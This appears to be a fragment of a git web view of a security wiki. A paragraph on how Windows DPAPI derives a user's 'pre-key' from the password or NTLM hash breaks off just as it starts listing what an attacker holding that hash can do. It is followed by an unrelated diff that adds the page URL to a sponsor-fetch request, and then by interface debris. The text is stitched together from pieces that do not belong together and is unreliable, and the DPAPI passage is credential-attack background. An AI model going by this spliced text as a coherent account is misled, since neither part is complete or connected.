The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the NTLM hash of the user**.
|
||||
|
||||
This is specially interesting because if an attacker can obtain the user's password hash, they can:
|
||||
|
||||
|
@ -15,7 +15,8 @@
|
||||
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
|
||||
|
||||
async function getSponsor() {
|
||||
const url = "https://book.hacktricks.wiki/sponsor"
|
||||
const currentUrl = encodeURIComponent(window.location.href);
|
||||
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
|
||||
try {
|
||||
const response = await fetch(url, { method: "GET" })
|
||||
if (!response.ok) {
|
||||
|
Loading…
x
Reference in New Issue
Block a user